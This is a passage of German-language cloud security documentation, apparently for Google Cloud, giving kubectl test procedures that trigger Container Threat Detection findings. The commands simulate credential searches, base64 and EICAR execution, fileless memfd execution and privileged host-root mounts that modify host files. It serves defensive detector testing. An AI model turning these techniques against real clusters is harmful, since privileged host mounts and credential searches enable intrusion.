Um ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials auszulösen, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in grep umbenannt. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf eine Form von Google Cloud Anmeldedaten hinweist. Diese Aktion wurde als verdächtig gekennzeichnet, da sie dem Verhalten ähnelt, das beim Versuch beobachtet wurde, Google Cloud -Anmeldedaten zu finden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

ARM-Knoten:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Mit diesem Testverfahren wird ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Um einen Credential Access: GPG Key Reconnaissance-Befund auszulösen, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das aktuelle Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in find um (oder in ein anderes geeignetes Suchdienstprogramm wie grep). Das umbenannte Binärprogramm wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf private Schlüssel oder Passwörter hinweist, oder mit Inhaltsmustern, die auf Passwörter oder Secrets hindeuten. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch, GPG-Sicherheitsschlüssel zu finden, beobachtet wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring.gpg"

ARM-Knoten:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring.gpg"

Mit diesem Testverfahren wird ein Credential Access: GPG Key Reconnaissance-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Um einen Credential Access: Search Private Keys or Passwords-Befund auszulösen, muss eine Binärdatei, die Dateiinhalte durchsuchen kann, in einem Container ausgeführt werden. In diesem Beispiel wird das aktuelle Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in find um (oder in ein anderes geeignetes Suchdienstprogramm wie grep). Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf private Schlüssel oder Passwörter hinweist, oder mit Inhaltsmustern, die auf Passwörter oder Secrets hindeuten. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beobachtet wird, wenn versucht wird, vertrauliche Informationen wie private Schlüssel oder Passwörter in einer containerisierten Umgebung zu finden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

ARM-Knoten:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Mit diesem Testverfahren wird ein Credential Access: Search Private Keys or Passwords-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Base64 ELF File Command Line

Damit ein Defense Evasion: Base64 ELF File Command Line-Ergebnis ausgelöst wird, muss ein Prozess base64 als Argument und f0VMRgIB als Argument haben, das die base64-codierte Form von ELF ist. In diesem Beispiel wird das aktuelle Ubuntu 24.04-Image verwendet. base64 wird dann mit den Argumenten -d und f0VMRgIB ausgeführt. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Bei diesem Testverfahren werden zwei Defense Evasion: Base64 ELF File Command Line-Ergebnisse erstellt, die Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren. Es werden zwei Ergebnisse erstellt, da sowohl der ursprüngliche bash -c-Befehl als auch die Ausführung des base64 -d-Befehls die Kriterien für das Ergebnis erfüllen.

Defense Evasion: Base64 Encoded Python Script Executed

Damit ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und aW1wb3J0IH als Argument haben, das die base64-codierte Form von python -c ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument aW1wb3J0IH ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Base64 Encoded Shell Script Executed

Damit ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und IyEvYmluL2Jhc2gK als Argument haben, das die base64-codierte Form von #!/bin/bash ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument IyEvYmluL2Jhc2gK ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Disable or Modify Linux Audit System (Preview)

Wenn Sie die Erkennung von Änderungen an Linux-Audit-Logs auslösen möchten, ändern Sie eine der auditbezogenen Konfigurationsdateien des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Stammdateisystem des Hosts wird im Container bereitgestellt und dann wird /etc/systemd/journald.conf geändert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei aus, die eine der prüfungsbezogenen Konfigurationsdateien des Hosts ändert, z. B. /etc/systemd/journald.conf.

x86-Knoten:

tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Disable or Modify Linux Audit System-Ergebnis ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Defense Evasion: Compiler-Tool für Code im Container gestartet

Wenn Sie ein Ergebnis des Typs Defense Evasion: Launch Code Compiler Tool In Container (Vorschau) auslösen möchten, muss ein Code-Compiler-Tool in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in gcc10 (oder einen anderen Compiler wie clang) umbenannt. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, schädlichen Code im Container zu kompilieren und auszuführen, um die Erkennung zu umgehen oder das Verhalten des Containers zu ändern.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Compiler-Binärdatei wie gcc10 mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

ARM-Knoten:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Mit diesem Testverfahren wird ein Defense Evasion: Launch Code Compiler Tool In Container-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Root-Zertifikat installiert (Vorschau)

Wenn Sie eine Erkennung des Typs „Root-Zertifikat installiert“ auslösen möchten, erstellen Sie eine Root-Zertifikatsdatei auf dem Host über einen Container. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt und das Root-Dateisystem des Hosts im Container bereitgestellt. Anschließend wird eine leere Zertifikatsdatei in einem geeigneten Verzeichnis erstellt.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Installieren Sie eine Zertifikatsdatei von einem Container auf dem Host.

x86-Knoten:

tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „Root-Zertifikat installiert“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging sehen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Schädliche Binärdatei hinzugefügt und ausgeführt“ auslösen möchten, fügen Sie eine schädliche Binärdatei in Ihren Container ein und führen Sie sie aus. In diesem Beispiel wird das aktuelle Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und die Binärdatei eine EICAR-Testdatei ist, die von der Threat Intelligence als schädlich eingestuft wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

ARM-Knoten:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: hinzugefügte schädliche Bibliothek geladen

Wenn Sie ein Ergebnis des Typs „Ausführung: hinzugefügte schädliche Bibliothek geladen“ auslösen möchten, fügen Sie eine schädliche Bibliothek in Ihren Container ein und laden Sie sie. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Bibliothek erstellt und dann mit mmap geladen. Das Laden der Bibliothek ist unerwartet, da die simulierte schädliche Bibliothek nicht Teil des ursprünglichen Container-Images war und die Bibliothek eine EICAR-Testdatei ist, die von Threat Intelligence als schädlich eingestuft wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Fügen Sie die EICAR-Datei hinzu und laden Sie sie:

x86-Knoten:

tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /tmp/test_mal_lib;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
      sleep 10"

ARM-Knoten:

tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
"$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /tmp/test_mal_lib;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
      sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Bibliothek geladen“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Container-Escape

Wenn Sie ein Ergebnis des Typs „Ausführung: Container Escape“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (botb-linux-amd64) umbenannt und mit zusätzlichen Argumenten ausgeführt. Diese Aktion wird als verdächtig eingestuft, da diese Ausführung ein Verhalten simuliert, das mit einem Container-Escape-Versuch übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei für ein Container-Exploitation-Tool wie botb-linux-amd64 ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

ARM-Knoten:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Container Escape“ erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Dateilose Ausführung in `/memfd:`

Damit ein Execution: Fileless Execution in /memfd:-Ergebnis ausgelöst wird, muss ein Prozess über das /memfd:-In-Memory-Dateisystem ausgeführt werden. In diesem Beispiel wird das neueste Python-Image verwendet. Das Dienstprogramm /bin/ls wird in eine anonyme Datei in /memfd: kopiert. Dieses kopierte Binärprogramm wird dann ausgeführt. Die Ausführung einer Binärdatei unter /memfd: wird als verdächtig eingestuft, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie einen privilegierten Container und öffnen Sie Bash, um Befehle auszuführen:

x86-Knoten:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

ARM-Knoten:

